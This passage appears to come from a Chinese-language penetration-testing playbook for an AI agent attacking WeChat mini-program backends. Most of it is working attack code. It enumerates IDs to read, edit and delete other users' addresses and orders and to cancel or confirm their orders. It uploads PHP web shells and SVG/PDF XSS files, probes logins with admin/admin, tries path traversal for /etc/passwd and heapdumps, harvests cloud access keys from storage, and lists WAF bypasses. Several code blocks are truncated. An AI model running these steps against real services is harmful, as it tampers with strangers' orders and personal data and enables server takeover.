// Step 2: 用相邻 ID 测试 add-receiver(IDOR 核心)
var myDeliveryId=deliveries[0]&&deliveries[0].id;
var testIds=myDeliveryId?[myDeliveryId-2,myDeliveryId-1,myDeliveryId,myDeliveryId+1,myDeliveryId+2]:[1,2,3,100];
var results=[];
for(var id of testIds){
var r=await new Promise(res=>{wx.request({
url:base+'/lyanxue/api/v1.2/app/trade/delivery/add-receiver',
method:'POST',header:{token:token,'Content-Type':'application/json'},
data:{deliveryIds:String(id),name:'IDOR_TEST',phone:'13800000002',address:'测试地址IDOR',timestamp:ts},
success:r=>res({deliveryId:id,code:r.data&&r.data.code,msg:r.data&&r.data.msg,preview:JSON.stringify(r.data).slice(0,200)}),
fail:e=>res({deliveryId:id,status:'fail'})
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 判断标准:
他人 deliveryId → code:10000/200 → 🔴 越权修改他人订单收货人(严重!影响商品投递)
他人 deliveryId → 403/401 → ✅ 有归属验证
所有 deliveryId → code:0 → ⚠️ 接口存在但无数据(可能需要正确的 deliveryIds 格式)
Step 3:用自己的 addressId 枚举其他地址(IDOR 核心测试)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN');
var base='https://<API域名>';
var myAddressId=<Step2获取的自己的ID>; // 如 42
// 枚举相邻 ID(前后各 10 个)
var testIds=[];
for(var i=Math.max(1,myAddressId-10);i<=myAddressId+10;i++) testIds.push(i);
testIds=[1,2,3,100,1000].concat(testIds); // 加入极值
var results=[];
var getPath='/api/app/user/address/get'; // 从 Step1 接口清单中取真实路径
for(var id of testIds){
var r=await new Promise(res=>{wx.request({
url:base+getPath+'?id='+id,method:'GET',
header:{token:token,platform:'mp-weixin'},
success:function(r){
var d=r.data&&r.data.data;
res({id:id,code:r.data&&r.data.code,
hasData:!!(d&&Object.keys(d).length),
name:d&&(d.name||d.receiverName||''),
phone:d&&(d.phone||d.mobile||d.tel||''),
detail:d&&(d.detail||d.address||d.fullAddress||''),
preview:JSON.stringify(d).slice(0,300)});
},
fail:function(e){res({id:id,status:'fail'})}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 判断标准:
id=自己ID → code:200 有数据 → BASELINE(正常)
id=他人ID → code:200 + name/phone/detail 与自己不同 → 🔴 IDOR 确认
id=他人ID → code:200 + 空数据 {} → ⚠️ 服务端用 token 过滤(正常防御)
id=随机ID → code:403/401 → ✅ 有鉴权
Step 4:修改/删除他人地址(写越权,危害更大)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN');
var base='https://<API域名>';
var targetId=<他人的addressId>; // 从Step3中找到的他人地址ID
var tests=[
// 修改越权
{label:'edit_other',method:'PUT',path:'/api/app/user/address/edit',
data:{id:targetId,name:'HACKED',phone:'13900000001',detail:'越权修改的地址'}},
// 设为默认(可能影响他人下单行为)
{label:'set_default',method:'PUT',path:'/api/app/user/address/default',
data:{id:targetId}},
// 删除越权
{label:'delete_other',method:'DELETE',path:'/api/app/user/address/delete?id='+targetId,
data:{}},
// POST 方式删除(部分接口用 POST)
{label:'delete_post',method:'POST',path:'/api/app/user/address/delete',
data:{id:targetId}},
];
var results=[];
for(var t of tests){
var r=await new Promise(res=>{wx.request({
url:base+t.path,method:t.method,
header:{token:token,'Content-Type':'application/json',platform:'mp-weixin'},
data:t.data,
success:function(r){res({label:t.label,code:r.data&&r.data.code,
msg:r.data&&r.data.msg,preview:JSON.stringify(r.data).slice(0,200)})},
fail:function(e){res({label:t.label,status:'fail'})}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 判断标准:
edit_other code:200 → 🔴 越权修改他人地址(严重)
delete_other code:200 → 🔴 越权删除他人地址(严重)
set_default code:200 → 🔴 越权修改他人默认收货地址(影响订单投递)
所有操作返回 403/401 → ✅ 服务端验证地址归属
2.4.B 订单越权测试(v2.8 新增 — 不支付也能测越权)
核心原则:不需要实际支付,只需要提交订单(状态=待支付)拿到 orderId,再用该 ID 对其他订单做读取/取消/改价测试。资金类操作遵守红线:build_replay_plan 只生成计划,不实际发出支付请求。
Step 1:导航订单页采集真实接口
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{wx.navigateTo({url:'/pages-sub/order/order'});return 'ok'})()")
// 也导航到订单详情(通常有 orderId 参数)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{wx.navigateTo({url:'/pages-sub/orderDetail/orderDetail?id=1'});return 'ok'})()")
// 收集真实订单 API 路径
analysis_ops(action="find_payment_and_order_surfaces")
→ 识别: trade/get-list, trade/get, trade/cancel, order/add, order/pay, cashier 等
→ 特别注意含 id/orderId/tradeId/no 参数的 GET/POST 接口
Step 2:提交测试订单(不支付,仅拿到 orderId)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN');
var base='https://<API域名>';
// 先获取可购买的商品列表(找一个最便宜的商品)
var prodR=await new Promise(res=>{wx.request({
url:base+'/api/app/product/get-list?pageNo=1&pageSize=5',method:'GET',
header:{token:token,platform:'mp-weixin'},
success:function(r){res(r.data&&r.data.data)},fail:function(e){res(null)}
})});
console.log('[PRODUCTS]'+JSON.stringify(prodR).slice(0,500));
// 尝试提交订单(只提交,不支付)
var orderPaths=[
'/api/app/trade/add',
'/api/app/order/add',
'/api/app/trade/create',
'/api/app/order/create',
'/api/app/trade/submit',
];
var results=[];
for(var p of orderPaths){
var r=await new Promise(res=>{wx.request({
url:base+p,method:'POST',
header:{token:token,'Content-Type':'application/json',platform:'mp-weixin'},
data:{
productId:prodR&&prodR.list&&prodR.list[0]&&prodR.list[0].id||1,
quantity:1,
addressId:1, // 使用Step1添加的地址ID
remark:'IDOR测试订单',
},
success:function(r){res({path:p,code:r.data&&r.data.code,
orderId:r.data&&r.data.data&&(r.data.data.id||r.data.data.orderId||r.data.data.tradeId||r.data.data.no),
preview:JSON.stringify(r.data).slice(0,400)})},
fail:function(e){res({path:p,status:'fail'})}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 记录成功的 orderId / tradeId(此时订单状态为待支付,不会实际扣款)
→ ⚠️ 红线:不发起支付请求,只记录 ID
Step 3:用自己的 orderId 读取/枚举他人订单(IDOR)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN');
var base='https://<API域名>';
var myOrderId=<Step2获取的自己订单ID>; // 如 10086
// 枚举相邻 ID + 极值
var testIds=[1,2,3,100];
for(var i=Math.max(1,myOrderId-5);i<=myOrderId+5;i++) testIds.push(i);
var getPath='/api/app/trade/get'; // 从接口清单取真实路径,也试 order/get/orderDetail/get
var results=[];
for(var id of testIds){
var r=await new Promise(res=>{wx.request({
url:base+getPath+'?id='+id,method:'GET',
header:{token:token,platform:'mp-weixin'},
success:function(r){
var d=r.data&&r.data.data;
res({id:id,code:r.data&&r.data.code,
hasData:!!(d&&Object.keys(d||{}).length),
userId:d&&(d.userId||d.buyerId||d.memberId||''),
amount:d&&(d.amount||d.totalPrice||d.payAmount||''),
status:d&&(d.status||d.tradeState||d.state||''),
phone:d&&(d.phone||d.receiverPhone||d.mobile||''),
preview:JSON.stringify(d).slice(0,300)});
},
fail:function(e){res({id:id,status:'fail'})}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 判断标准:
他人 orderId → code:200 + 不同 userId/phone/amount → 🔴 订单 IDOR(高危)
他人 orderId → code:200 + 空 data → ⚠️ 服务端按 token 过滤(正常)
任意 orderId → code:403/401 → ✅ 鉴权有效
⚠️ 订单数据中出现他人手机号/姓名 → 🔴 同时构成敏感数据泄露
Step 4:取消他人订单(写越权)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN');
var base='https://<API域名>';
var otherOrderId=<Step3中找到的他人订单ID>;
var tests=[
// 取消越权(不涉及资金,安全操作)
{label:'cancel_other',method:'POST',path:'/api/app/trade/cancel',data:{id:otherOrderId,reason:'测试'}},
{label:'cancel_other2',method:'POST',path:'/api/app/order/cancel',data:{orderId:otherOrderId}},
// 确认收货越权(伪造他人已收货)
{label:'confirm_other',method:'POST',path:'/api/app/trade/confirm',data:{id:otherOrderId}},
// 删除订单记录
{label:'delete_order',method:'POST',path:'/api/app/trade/delete',data:{id:otherOrderId}},
];
var results=[];
for(var t of tests){
var r=await new Promise(res=>{wx.request({
url:base+t.path,method:t.method,
header:{token:token,'Content-Type':'application/json',platform:'mp-weixin'},
data:t.data,
success:function(r){res({label:t.label,code:r.data&&r.data.code,msg:r.data&&r.data.msg})},
fail:function(e){res({label:t.label,status:'fail'})}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 判断标准:
cancel_other code:200 → 🔴 越权取消他人订单(严重)
confirm_other code:200 → 🔴 越权伪造他人收货(严重,可触发商家发货/结算)
delete_order code:200 → 🔴 越权删除他人订单记录(严重)
所有操作返回 403/401 → ✅ 服务端验证订单归属
Step 5:订单价格篡改测试(客户端提交金额时)
// ⚠️ 只生成计划,不实际发起支付。若订单提交接口含 price/amount 参数:
analysis_ops(action="build_replay_plan", request_id="<订单提交请求ID>")
→ 检查请求 body 中是否有 price/amount/totalFee/goodsPrice 等客户端可控价格参数
→ 若有 → 🔴 CRITICAL:客户端价格注入风险,1分钱买任意商品
→ 生成修改方案(price 改为 0.01)但 **不自动发送**
// 判断:服务端是否用 productId 重新查价
// 安全做法:服务端按 productId 查数据库价格,忽略客户端 price 参数
// 不安全做法:服务端直接用客户端传入的 price 字段
Step 6:优惠券/积分越权使用
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN');
var base='https://<API域名>';
// 获取自己的优惠券列表(找到 couponId)
var coupons=await new Promise(res=>{wx.request({
url:base+'/api/app/coupon/user/coupon/get-list?states=&pageNo=1&pageSize=10',
method:'GET',header:{token:token,platform:'mp-weixin'},
success:function(r){res(r.data&&r.data.data&&r.data.data.couponList||[])},
fail:function(e){res([])}
})});
console.log('[MY_COUPONS]'+JSON.stringify(coupons).slice(0,500));
// 枚举其他 couponId(相邻值)
var myCouponId=coupons[0]&&coupons[0].id;
if(!myCouponId) return '没有可用优惠券,跳过';
var testIds=[1,2,3,myCouponId-1,myCouponId,myCouponId+1,myCouponId+2];
var results=[];
for(var id of testIds){
var r=await new Promise(res=>{wx.request({
url:base+'/api/app/coupon/user/coupon/get?id='+id,method:'GET',
header:{token:token,platform:'mp-weixin'},
success:function(r){
var d=r.data&&r.data.data;
res({id:id,code:r.data&&r.data.code,
userId:d&&(d.userId||d.memberId||''),
discount:d&&(d.discount||d.discountAmount||d.value||''),
status:d&&(d.status||d.state||''),
preview:JSON.stringify(d).slice(0,300)});
},
fail:function(e){res({id:id,status:'fail'})}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 他人 couponId → code:200 + 不同 userId → 🔴 优惠券 IDOR,可使用他人券
→ 下单时传入他人 couponId 且服务端不验证归属 → 🔴 免费薅券
2.5 其他风险面
analysis_ops(action="find_debug_admin_surfaces")
→ debug/admin/test/internal 路由
analysis_ops(action="find_sign_related_requests")
→ 含签名/时间戳/nonce 的接口(重放风险候选)
→ 对比同一接口多次请求的 sign 变化因子
2.5.A 上传点深度测试(v2.8 新增 — 不能只靠被动捕获)
// 在 Phase 0 hook_wx_request 之后立即注入,确保捕获所有后续上传
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
return orig.apply(this,arguments);
};
})()")
Step 1.5:从已捕获流量中查找上传 URL(Hook 未触发时的备用方案)
network_ops(action="get_all_requests")
// 方法二:从 DNS prefetch 推断上传域名和 bucket
// 导航到任意页面后,检查 page-frame.html 中的 dns-prefetch 标签
// 常见 OSS 相关 prefetch:
// lyanxue.oss-cn-hangzhou.aliyuncs.com → Aliyun OSS bucket = "lyanxue"
// zglyxoss.zmg.com.cn:8443 → 自定义 OSS 域名
// yljlb-oss.zmg.com.cn:9443 → 另一自定义 OSS
// 方法三:从网络请求 Host 头推断
// 真实上传请求特征:
// - Method: POST
// - Headers: token / Authorization(认证)
// - Body: formData 含 timestamp 字段
文件名格式注意:很多小程序使用时间戳作为文件名,格式为
{timestamp}.{ext},例如:
Step 2:主动导航上传页面(关键 — 按路由关键词逐一触发)
| 路由关键词 | 典型上传场景 |
|---|---|
person / user / account / myInfo | 用户头像上传 |
editInfo / profile / edit | 个人资料图片 |
publishMoments / post / release | 发帖多图 / 视频 |
zone / community / circle | 社区发布图片 |
activity/apply / applyList | 活动报名证件照 |
kyc / verify / identity / realName | 实名认证证件 |
feedback / complaint / report | 投诉截图 |
live / livePlayer | 直播封面/横幅 |
editDealerTrade / salesTradeList | 经销商合同图片 |
album / photo / cloudAlbum | 相册多图 |
product / goods / item | 商品图片(商家端) |
// 逐一导航触发,每个路由等待 2-3 秒后检查 console
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{wx.navigateTo({url:'/pages-sub/publishMoments/index'});return 'ok'})()")
// 等待后查收 Hook 日志
network_ops(action="get_all_requests")
Step 3:OSS 前端直签检测(CRITICAL 级别风险)
// 检查 Storage 中是否有 STS Token 或前端直签凭证
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
try{
var keys=wx.getStorageInfoSync().keys;
var r={};
keys.filter(k=>/sts|oss|cos|cred|bucket|region|endpoint|accessKey|secretKey|securityToken/i.test(k))
.forEach(k=>{try{r[k]=JSON.stringify(wx.getStorageSync(k)).slice(0,400)}catch(e){}});
return JSON.stringify(r);
}catch(e){return String(e)}
})()")
// 检查全局变量中是否有 OSS client 实例或配置
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
var hits={};
Object.keys(globalThis||{}).forEach(function(k){
try{
var v=globalThis[k];
var s=v&&typeof v==='object'?JSON.stringify(v):'';
if(s&&/accessKeyId|secretAccessKey|securityToken|bucket.*region|endpoint.*oss/i.test(s))
hits[k]=s.slice(0,400);
}catch(e){}
});
return JSON.stringify(hits);
})()")
→ 发现 accessKeyId + secretAccessKey + securityToken → 🔴 STS 前端直签泄露
→ 若 securityToken 存在但 expiration 已过期 → 🟡 已失效,但说明曾泄露
→ 发现 accessKeyId 无 securityToken(永久凭证)→ 🔴 CRITICAL,长期 AK/SK 硬编码
Step 4:文件类型绕过测试(对每个上传端点)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token='<当前token>';
var fs=wx.getFileSystemManager();
var base=wx.env.USER_DATA_PATH;
+'2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n'
+'3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >>\nendobj\n'
+'4 0 obj\n<< /Length 41 >>\nstream\nBT /F1 12 Tf 100 700 Td (Hello PDF) Tj ET\nendstream\nendobj\n'
+'5 0 obj\n<< /S /JavaScript /JS (app.alert(\'XSS\')) >>\nendobj\n'
+'xref\n0 6\n0000000000 65535 f\n0000000009 00000 n\n0000000076 00000 n\n'
+'0000000133 00000 n\n0000000220 00000 n\n0000000311 00000 n\n'
+'trailer\n<< /Size 6 /Root 1 0 R >>\nstartxref\n385\n%%EOF';
var tests=[
// ─── PHP/后端执行类 ───
{label:'php_as_jpg', filename:'test.php', mime:'image/jpeg', content:'<?php phpinfo();?>'},
{label:'phtml', filename:'test.phtml', mime:'image/jpeg', content:'<?php system($_GET[\"c\"]);?>'},
{label:'gif_php', filename:'shell.gif', mime:'image/gif', content:'GIF89a<?php system($_GET[\"c\"]);?>'},
{label:'double_ext', filename:'img.php.jpg', mime:'image/jpeg', content:'<?php phpinfo();?>'},
// ─── 前端 XSS 类 ───
{label:'svg_xss', filename:'xss.svg', mime:'image/svg+xml',content:'<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.cookie)</script></svg>'},
{label:'html_xss', filename:'xss.html', mime:'text/plain', content:'<script>alert(document.cookie)</script>'},
// 这意味着服务端只校验 Content-Type 不校验文件扩展名,或两者都不校验内容
{label:'svg_mime_bypass',filename:String(Date.now())+'.svg', mime:'image/jpeg', content:'<svg><script>alert(1)</script></svg>'},
{label:'html_mime_bypass',filename:String(Date.now())+'.html',mime:'image/jpeg',content:'<script>alert(document.cookie)</script>'},
// ─── 基线 ───
{label:'normal_jpg', filename:'normal.jpg', mime:'image/jpeg', content:'\\xff\\xd8\\xff\\xe0normal'},
];
var results=[];
for(var t of tests){
fs.writeFileSync(base+'/'+t.filename, t.content, 'utf8');
var r=await new Promise(res=>{
header:{token:token, platform:'mp-weixin'},
formData:{fileType:'image'},
success:function(r){
var fileUrl=''; try{fileUrl=JSON.parse(r.data).data.fileUrl||'';}catch(e){}
res({label:t.label,filename:t.filename,status:r.statusCode,fileUrl:fileUrl,resp:String(r.data).slice(0,300)});
},
fail:function(e){res({label:t.label,filename:t.filename,status:'fail',err:JSON.stringify(e)})}
});
});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 判断标准:
上传成功(200) + URL 保留 .php/.phtml → 🔴 访问 URL?c=id 验证 RCE
上传成功 + 文件被重命名为 UUID.jpg → ✅ 重命名保护
上传成功 + .svg + URL 保留扩展名 → 🔴 浏览器 / web-view XSS
服务端返回「文件格式不支持」→ ✅ 白名单限制
| 场景 | 危害 | 条件 |
|---|---|---|
任何渠道将 PDF 链接嵌入 web-view | 🔴 HIGH — webview 调用系统 PDF 阅读器 | 需 webview 支持 PDF 预览 |
Step 5:上传后访问验证
// 对上传成功且 URL 保留危险扩展名的文件:
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var tests=[
{label:'php_rce', url:'<.php URL>?c=id'},
{label:'svg_xss', url:'<.svg URL>'},
];
var results=[];
for(var t of tests){
var r=await new Promise(res=>{
wx.request({url:t.url,method:'GET',
success:r=>res({label:t.label,status:r.statusCode,ct:r.header&&r.header['content-type'],body:JSON.stringify(r.data).slice(0,400)}),
fail:e=>res({label:t.label,status:'fail'})});
});
results.push(r);
}
// uid= / root: → 🔴 RCE
// <script> 回显 → 🔴 SVG XSS
// content-type: application/pdf → 🔴 确认 PDF 以正确类型投递,Acrobat 打开触发 JS
return JSON.stringify(results,null,2);
})()")
2.5.1 专项风险检测(v2.5 新增)
① JWT / Token 暴露在 URL 查询参数中
# 从接口清单中过滤 URL 含 token=eyJ / access_token= / jwt= 的请求
network_ops(action="get_all_requests")
→ 筛选 url.includes('token=eyJ') 或 query 字段含 token/jwt/access_token 键
→ 风险: token 出现在服务端日志 / Nginx access log / Referer 头 / 浏览器历史
→ 定级: MEDIUM(信息泄露)→ 若 token 可直接复用则升级为 HIGH
→ 建议: token 改为 Authorization 请求头传输
② 静态 / 固定 sign 值(不具备重放防护)
# 判断 sign 是否为固定字符串(非计算值)
analysis_ops(action="find_sign_related_requests")
→ 对同一接口的多次请求对比 sign 字段
→ 若 sign 值完全相同(如 sign=latestLecture_daka)→ 🔴 静态 sign,重放无阻碍
→ 若 sign 随 timestamp 变化 → 进一步检查 timestamp 窗口长度
→ 若多次请求 sign 不同但 nonce 相同 → 🔴 nonce 未一次性校验
③ 路径双斜杠异常(/path//endpoint)
# 在已采集请求中搜索双斜杠路径
network_ops(action="get_all_requests")
→ 筛选 url 含 '//' 且不是协议头 '://' 的请求
→ 风险: 部分服务器对 /path//endpoint 和 /path/endpoint 路由逻辑不同
可能绕过中间件认证(如 Spring Security / Nginx location 规则)
→ 测试: 同时发送标准路径和双斜杠路径,对比响应差异
④ enc 绑定模式识别(context-bound request signature)
# enc 参数特征: 32位 hex(MD5 长度),出现在多个不同接口的 query/body 中
# enc 绑定上下文,无法跨 session 复用(更换 token 则 enc 失效)
# 识别方式:
# 1. enc 出现在多个接口且长度固定(32位)
# 2. 更换 Authorization/auth-token → 相同 enc 返回"加密校验失败"
# 3. 清空/伪造 Authorization 但 enc 不变 → 仍返回"加密校验失败"
# 结论: enc 与 token 共同构成双因子请求签名,IDOR 测试需在同一 session 内完成
# 突破思路:
# → 优先从运行时 Storage 提取当前有效 token + enc(见场景 3)
# → 使用 hook_wx_request 捕获下一次真实请求中的完整 headers(含 enc 原值)
⑤ 多 appId 同属一个评估目标(不需要分开评估)
# 核心原则:同一 WeChat 会话中出现的多个 appId,均属同一小程序产品线(同一开发者),
# 共同构成评估目标。不同 appId 只是前端入口不同,后端 API 服务器通常共享。
# → 不需要为每个 appId 单独开展独立的 Phase 0-6 评估
# → 只需记录每个 appId 对应的认证机制,然后统一在当前 session 内测试所有接口
# Step 1: 识别所有 appId(从 Referer 头解析)
network_ops(action="get_all_requests")
→ 提取 request_headers.Referer
→ 正则匹配: servicewechat\.com\/([a-z0-9]{16,18})\/
→ 得到 appId 列表,如: [wx83e9ba48, wx5636748e, wxf19adc6d]
# Step 2: 确认同属一个产品(验证后端域名重叠)
# 若不同 appId 的请求指向相同 API 域名 → 确认同一产品生态,全部纳入范围
# 若后端域名完全不同 → 可能是不同业务,需向委托方确认授权范围
# Step 3: 按认证体系分类(而非按 appId 分类)
# 不要按 appId 建立分析筒仓,而是按认证类型建立统一的接口清单:
# Bearer JWT 系: /v2/userinfor/... + /v2/wechat/... (Authorization header)
# Token+Sign 系: /yin/applet/... (auth-token + Authen-Sign)
# Cookie 系: /api-zd-wap/... (Cookie header)
# enc 参数系: /wx/lecture/... + /cx/recommend/... (enc query param)
# Step 4: 统一执行 Phase 2 全套分析,覆盖所有认证系的接口
analysis_ops(action="get_api_inventory") → 不按 appId 过滤,全量分析
analysis_ops(action="find_idor_candidates") → 跨 appId 寻找 IDOR
analysis_ops(action="analyze_auth_surface") → 覆盖所有认证机制
⑥ Authen-Sign 复合签名头识别与分析(v2.6 新增)
# Authen-Sign 格式(常见于医疗/政务类小程序后端):
# {user-uuid},{timestamp-ms},{base64(md5_hash)},{platform}
# 示例: fa7a24fe-ba43-4636-84cf-87b22e77d025,1779600226434,Y2M2MDg1MT...,miniprogram
#
# 各段含义:
# Part 1 (UUID): 用户/设备标识(不随请求变化)
# Part 2 (timestamp): 毫秒时间戳(服务端验证时效窗口)
# Part 3 (base64): base64(MD5(something)) — 完整性 hash,32字节
# Part 4 (platform): 固定字符串 "miniprogram" / "h5" / "web"
#
# 安全评估要点:
# 1. 时效窗口: 对比两次请求的 timestamp 差值 → 若超过 5 分钟仍有效 → 重放窗口过长
# 2. Part3 hash 算法: 用 decrypt_ops(action="decode_base64") 解码后看是否为 32 位 hex
# → 若是 MD5 格式,尝试碰撞: MD5(uuid), MD5(uuid+timestamp), MD5(token) 等
# 3. UUID 是否与 uid 相关: 若 UUID = MD5(uid) 或 UUID 可通过 uid 推算 → IDOR 风险
# 4. 测试无 Authen-Sign 时的响应: 若返回 500 而非 401/403 → 服务端存在错误处理缺陷
# 捕获真实 Authen-Sign(用于重放测试):
network_ops(action="hook_wx_request")
→ 触发下一次包含 Authen-Sign 的请求
→ network_ops(action="get_all_requests") 获取最新请求的完整 headers
→ 提取 Authen-Sign 原值,在时效窗口内重用于 IDOR 测试
2.6 接口参数 Fuzz 建议
analysis_ops(action="passive_param_fuzz_suggestions", request_id="<id>")
→ 按参数类型生成 Fuzz 建议(只建议,不自动发送):
├─ 数字参数 → 负数/零/极大值/浮点数/字符串
├─ 字符串参数 → XSS payload/SQL 注入探测/路径遍历
├─ 枚举参数 → 越界值/空值/null
└─ JSON body → 类型混淆/原型污染探测
2.7 重放与对比
analysis_ops(action="build_replay_plan", request_id="<id>")
→ 生成人工重放测试计划(只生成,不自动发送)
# 签名重放验证:
analysis_ops(action="compare_two_requests", request_id_a="<同一接口请求1>", request_id_b="<同一接口请求2>")
→ 对比 sign/timestamp/nonce 的差异和绑定关系
→ 判断: 签名是否绑定请求体?timestamp 窗口多长?nonce 是否一次性?
2.8 HTTP 响应码行为变化检测(v2.7 新增)
核心思路:通过向已知敏感端点(传统登录接口、文件上传端点、CVE 路径)发送探测请求,根据 HTTP 响应码组合推断安全策略演进和架构迁移,在深入逆向前先建立完整行为地图。
HTTP 响应码行为变化矩阵:
├─ 默认口令登录尝试 → 404 ← 认证已迁移至 OAuth2/OIDC,原端点下线
├─ 文件上传接口探测 → 404 ← 功能下线或路径迁移
├─ 路径遍历 CVE 探针 → 404 ← 漏洞已修补(路径不存在)
│ → WAF 418 ← WAF 主动拦截(商业 WAF 特征码)
└─ 带路由参数端点 → HTTP 200 ← REST 路由存活,行为变化(IDOR 高价值面)
① 认证机制迁移探测(传统登录 → OAuth2)
# Step 1: 批量探测传统登录端点存活性
runtime_ops(action="runtime_eval", expression="(async ()=>{
var paths=[
'/login','/api/login','/api/auth/login','/api/user/login',
'/api/v1/login','/api/v2/login','/auth/login','/user/login',
'/api/token','/oauth/token','/api/signin','/api/users/login'
];
var results=[];
for(var p of paths){
var r=await fetch(p,{method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({username:'admin',password:'admin'})});
results.push({path:p,status:r.status});
}
return JSON.stringify(results,null,2);
})()")
| 状态码 | 含义 | 后续操作 |
|---|---|---|
| 404 | 端点下线 → 认证已迁移 | 执行步骤 2 发现 OAuth2 端点 |
| 302 → /oauth/ | OAuth2 迁移确认 | 分析授权流程,测试 redirect_uri 绕过 |
| 401 / 400 | 端点存活,凭据验证失败 | 进行弱口令 / 默认口令测试 |
| 200 + token 字段 | 🔴 弱口令命中 | 提取 token,测试越权 |
| 429 | 速率限制生效 | ✅ 防暴力破解有效;记录限制强度 |
# Step 2: OAuth2 / SSO 端点发现(传统登录返回 404 后执行)
runtime_ops(action="runtime_eval", expression="(async ()=>{
var oauthPaths=[
'/.well-known/openid-configuration',
'/oauth/authorize','/oauth/token','/connect/token',
'/sso/login','/cas/login','/saml/login',
'/api/oauth2/token','/auth/oauth/token'
];
var results=[];
for(var p of oauthPaths){
var r=await fetch(p);
if(r.status!==404) results.push({path:p,status:r.status});
}
return JSON.stringify(results,null,2);
})()")
⚠️ 迁移盲区:旧端点 404 不等于认证完全安全。检查:1) Storage 中是否存有旧 token;2) 旧 API 版本(/v1/ vs /v2/)是否同步迁移;3) refresh_token 接口是否仍接受旧格式凭据。
② 文件上传接口存活检测
# GET + POST 双探文件上传端点
runtime_ops(action="runtime_eval", expression="(async ()=>{
'/avatar','/api/avatar','/import','/api/import',
'/attach','/api/attach'
];
var token='<当前token>';
var results=[];
var g=await fetch(path,{method:'GET',
headers:{'Authorization':'Bearer '+token}});
var fd=new FormData();
fd.append('file',new Blob(['test'],{type:'text/plain'}),'test.txt');
var p=await fetch(path,{method:'POST',
headers:{'Authorization':'Bearer '+token},body:fd});
if(g.status!==404||p.status!==404)
results.push({path:path,GET:g.status,POST:p.status});
}
return JSON.stringify(results,null,2);
})()")
| GET | POST | 含义 | 后续操作 |
|---|---|---|---|
| 404 | 404 | 端点完全下线 | 跳过;检查流量中是否有云 OSS 直传签名请求 |
| 404 | 200/400 | 仅接受 POST | 进行文件上传漏洞测试 |
| 405 | 200/400 | 端点存活,GET 不被允许 | 进行文件上传漏洞测试 |
| 401/403 | 401/403 | 需要认证 | 带有效 token 重测 |
| 200/201 | 200/201 | 端点存活 | 测试扩展名 / Content-Type / Magic Bytes 三层绕过 |
发现存活上传端点后,按以下优先级测试:
.php/.phar/.php5扩展名 → Content-Type 伪造(image/gif)→ Magic Bytes 文件头(GIF89a<?php system($_GET['cmd']); ?>)→ 双扩展名(shell.php.gif)→ 上传成功后访问文件路径确认是否可执行。
③ 路径遍历 CVE 探针与 WAF 指纹识别
# 路径遍历 CVE 探针(含 WAF 418 检测)
runtime_ops(action="runtime_eval", expression="(async ()=>{
var probes=[
{label:'basic_lfi', path:'/../../../etc/passwd'},
{label:'encoded_lfi', path:'/%2e%2e/%2e%2e/etc/passwd'},
{label:'double_encoded', path:'/%252e%252e/%252e%252e/etc/passwd'},
{label:'null_byte', path:'/../../../etc/passwd%00.jpg'},
{label:'semicolon_spring', path:'/static/..;/WEB-INF/web.xml'},
{label:'actuator_env', path:'/actuator/env'},
{label:'actuator_heap', path:'/actuator/heapdump'},
{label:'double_slash', path:'//etc//passwd'},
{label:'windows_ini', path:'/../../../windows/win.ini'},
{label:'dot_segment', path:'/./etc/passwd'},
];
var results=[];
for(var p of probes){
var r=await fetch(p.path,{method:'GET'});
var hdrs={};
for(var [k,v] of r.headers) hdrs[k]=v;
results.push({
label:p.label,status:r.status,
wafHint:hdrs['server']||hdrs['x-protected-by']||hdrs['cf-ray']||'',
preview:(await r.text()).slice(0,150)
});
}
return JSON.stringify(results,null,2);
})()")
| 状态码 | 含义 | 后续操作 |
|---|---|---|
200 + root:x:0:0 或文件内容 | 🔴 路径遍历确认 | 枚举 /etc/shadow、.env、SSH 私钥 |
| 200 + 空/JSON 响应 | 路径被规范化,无漏洞 | 记录为已防御 |
| 404 | 已修补 或 WAF 统一返回 404 | 尝试双重编码变体(%252e) |
| 403 | ACL 或 WAF 拦截 | 测试路径操纵绕过(..;/、%2e%2e/) |
| 418 | 🔴 WAF 主动拦截(商业 WAF 特征码) | 识别 WAF 厂商,执行绕过流程 |
| 406 | WAF 拦截(ModSecurity 常见) | 尝试 chunked 传输绕过 |
WAF 指纹速查(418 响应时读取响应头 / Body):
响应特征 → WAF 厂商 → 主要绕过策略
Server: cloudflare + cf-ray 头 → Cloudflare → chunked + 路径操纵
X-Sucuri-ID 头 → Sucuri WAF → 大小写 + 空格替代
响应体含 ModSecurity / NOYB → ModSecurity → 参数污染 HPP + 多行注释
响应体含 安全狗 / safedog.cn → 安全狗 → 双重 URL 编码
响应体含 宝塔 / bt.cn → 宝塔 WAF → chunked 分段传输
响应体含 yunsuo / 云锁 → 云锁 → Unicode 全角编码
阿里云拦截页 / 阿里云盾特征 → 阿里云盾 → 参数位置变换 + HPP
⚠️ WAF 统一返回 404 时不能排除漏洞存在:尝试双重 URL 编码(
